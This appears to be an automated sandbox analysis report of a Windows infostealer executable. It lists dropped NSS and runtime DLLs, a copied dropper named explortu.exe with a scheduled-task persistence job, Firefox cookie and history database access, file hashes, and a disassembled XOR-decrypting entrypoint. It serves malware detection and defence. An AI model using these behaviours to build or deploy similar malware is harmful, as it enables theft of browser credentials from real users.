MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 1Vkf7silOj.exe, Detection: malicious, Browse Filename: AADJTHAWWR.exe, Detection: malicious, Browse Filename: wqmnYoVbHr.exe, Detection: malicious, Browse Filename: EZrw1nNIpG.exe, Detection: malicious, Browse Filename: KgXj6BW5dZ.exe, Detection: malicious, Browse Filename: T8TLibvQ1C.exe, Detection: malicious, Browse Filename: HWyC5T1f8a.exe, Detection: malicious, Browse Filename: DqnftBv2b9.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 75MwheiQ7I.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 1Vkf7silOj.exe, Detection: malicious, Browse Filename: AADJTHAWWR.exe, Detection: malicious, Browse Filename: wqmnYoVbHr.exe, Detection: malicious, Browse Filename: EZrw1nNIpG.exe, Detection: malicious, Browse Filename: KgXj6BW5dZ.exe, Detection: malicious, Browse Filename: T8TLibvQ1C.exe, Detection: malicious, Browse Filename: HWyC5T1f8a.exe, Detection: malicious, Browse Filename: DqnftBv2b9.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 75MwheiQ7I.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903104
Entropy (8bit):	7.949721363053412
Encrypted:	false
SSDEEP:	49152:I/AWyYrWcoWCn9akRbtlMYo3jDxp50+NPs0ru17H8Ehzd:YhirttDMnTV/Nsj7fH
MD5:	CFB92ADDB19E8F0E8ED0B50A6EE59519
SHA1:	67E2B554C4969F6CD1B952D7255270E9D3D4FAB5
SHA-256:	EF80805F8C5E831F8E108516DEAB87EED9E359A41C40452CF5ACBF45C88DD4A9
SHA-512:	14B792286AB6AA53D5533DD9F0F84C0AEFA6E8EC81EFEEBE62DA62691906D0CA2C7E321A9D3A41058A11A1C32EA6BDABB11AD0B6CFF673FDA260C394DC23CB0A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>.........................PE..L...WYPf.............................pK...........@...........................K...........@.................................V...j....p.......................QK..............................PK..................................................... . .`..........................@....rsrc........p......................@....idata ............................@... ..*.........................@...loawlfyy.....`1.....................@...wnkrvcvh.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903104
Entropy (8bit):	7.949721363053412
Encrypted:	false
SSDEEP:	49152:I/AWyYrWcoWCn9akRbtlMYo3jDxp50+NPs0ru17H8Ehzd:YhirttDMnTV/Nsj7fH
MD5:	CFB92ADDB19E8F0E8ED0B50A6EE59519
SHA1:	67E2B554C4969F6CD1B952D7255270E9D3D4FAB5
SHA-256:	EF80805F8C5E831F8E108516DEAB87EED9E359A41C40452CF5ACBF45C88DD4A9
SHA-512:	14B792286AB6AA53D5533DD9F0F84C0AEFA6E8EC81EFEEBE62DA62691906D0CA2C7E321A9D3A41058A11A1C32EA6BDABB11AD0B6CFF673FDA260C394DC23CB0A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>.........................PE..L...WYPf.............................pK...........@...........................K...........@.................................V...j....p.......................QK..............................PK..................................................... . .`..........................@....rsrc........p......................@....idata ............................@... ..*.........................@...loawlfyy.....`1.....................@...wnkrvcvh.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903104
Entropy (8bit):	7.949721363053412
Encrypted:	false
SSDEEP:	49152:I/AWyYrWcoWCn9akRbtlMYo3jDxp50+NPs0ru17H8Ehzd:YhirttDMnTV/Nsj7fH
MD5:	CFB92ADDB19E8F0E8ED0B50A6EE59519
SHA1:	67E2B554C4969F6CD1B952D7255270E9D3D4FAB5
SHA-256:	EF80805F8C5E831F8E108516DEAB87EED9E359A41C40452CF5ACBF45C88DD4A9
SHA-512:	14B792286AB6AA53D5533DD9F0F84C0AEFA6E8EC81EFEEBE62DA62691906D0CA2C7E321A9D3A41058A11A1C32EA6BDABB11AD0B6CFF673FDA260C394DC23CB0A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>.........................PE..L...WYPf.............................pK...........@...........................K...........@.................................V...j....p.......................QK..............................PK..................................................... . .`..........................@....rsrc........p......................@....idata ............................@... ..*.........................@...loawlfyy.....`1.....................@...wnkrvcvh.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\tAa6xNsucX.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explortu.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.435736643599449
Encrypted:	false
SSDEEP:	6:DxkXUG5ZsUEZ+lX1DIQMlmlm6tFXqYEp5t/uy0l/mt0:DkYQ1MQM8xfXV/mt0
MD5:	1B4DBDBEBF1C9202BC244EB8FFF255AD
SHA1:	9EFB27B3AA1E6F3DDD1CC677C29FB7765B180019
SHA-256:	9FF5CE354240901255EBADE5F7EBA06FCAA57C214465AB64A1F1E22E507493E9
SHA-512:	D0B1071DE51F0C42CCDA5DC458F2B48865D420EA19EC46A60B0C1006FF61878A55CFC9A0AAA64E03F229325CCC4FAABF8FD3DF65761821AD98A21C1B1AD1FE75
Malicious:	false
Preview:	.....9*....O..r.-...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.9.2.1.7.0.3.7.d.c.9.\.e.x.p.l.o.r.t.u...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................&.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.418958192070733
Encrypted:	false
SSDEEP:	6144:USvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNd0uhiTw:fvloTMW+EZMM6DFyn03w
MD5:	5D2431C5DDFAFE5820F1A318014D5337
SHA1:	B67CF7F527A59555172225DFB9B8393A93723033
SHA-256:	D4144901081294B3FF76A8FD6F316371FD56EAABF2F9ED0985739DC2A0D00136
SHA-512:	D7EDE747097EAB2BF06A4B97A9900B6FBB7998C6EBEB771D2A88D20F011F70F9FEA46ED7362625026D2081C5B0655E0B843BDA670C2A92AEE6E93F9E83C929B0
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...T..................................................................................................................................................................................................................................................................................................................................................!........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.985446465148207
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	tAa6xNsucX.exe
File size:	2'509'824 bytes
MD5:	b034eecf4642c53db4eeb735c813bc27
SHA1:	d6fef1943e0ccafbad7586dc4ecb1edf6c0707b3
SHA256:	d23cadd6e905563f0dad2ad88ce087f7418641f43106f0816f68f66ab6f1f7e4
SHA512:	68134bb53e2f1d09de06e53d397ccefbd4eef54fcee439ccfb6935fa91e595d52d4c3e325d5d2d54c0bbdf0e2a8a6264994800572bc8b468cf7e5a5d86e95c47
SSDEEP:	49152:NqDOGdvl2S1drV7cMaIa/xx3VKfiZcvuk0OhR95Kj1AjHlWzOLNYPmPI:N21J1ZhusAcF3K5rzOKPmw
TLSH:	0FC533009779177DD69E99722DCCE4AC91C6CD5EC006F18EE29EC00786158E32B9FF6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xfeb1ec
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6675FA89 [Fri Jun 21 22:11:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F47308CEFEAh
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BEB1ECh
jmp 00007F47308CEFE9h
xlatb
cmpsd
out 91h, al
mov eax, 00BEB1ECh
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005C4h
mov edx, 6A00A81Dh
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F47308CEFDCh
jmp 00007F47308CEFE9h
and eax, 96DBD1BAh
rcl byte ptr [esi+1D1D2194h], 1
sbb eax, 1DE5DC9Ch
sbb eax, A5D01E1Dh
sbb dword ptr [35A71D1Dh], ebx
sbb eax, FFEA1D1Dh
push ds
aad 96h
pushfd
adc dword ptr [D81E1D1Dh], ebx
dec ebp
nop
jns 00007F47308CF01Bh
loope 00007F47308CEF76h
sbb dword ptr [ecx], edi
jne 00007F47308CEFA7h
cmp dword ptr [800E0F75h+ebx], 1Dh
sbb al, 31h
cmp dword ptr [ebp-30h], esi
fisttp word ptr [edx-6Ah]
cmc
sbb byte ptr [2BF41D1Dh], bl
sbb eax, 79901D1Dh
cmp ecx, esp
xchg eax, esp
xor dword ptr [ecx], edi
nop
jno 00007F47308CF01Bh
sbb eax, 1D159896h
sbb eax, 1188961Dh
sbb eax, 90961D1Dh
or eax, DC1D1D1Dh
hlt
pop ds
sub al, 1Fh
sahf
fistp word ptr [ecx]
push esp
adc bl, byte ptr [eax-1D1D1D17h]
xchg eax, esi

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9ce020	0xd44	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9ced64	0x20c	.data
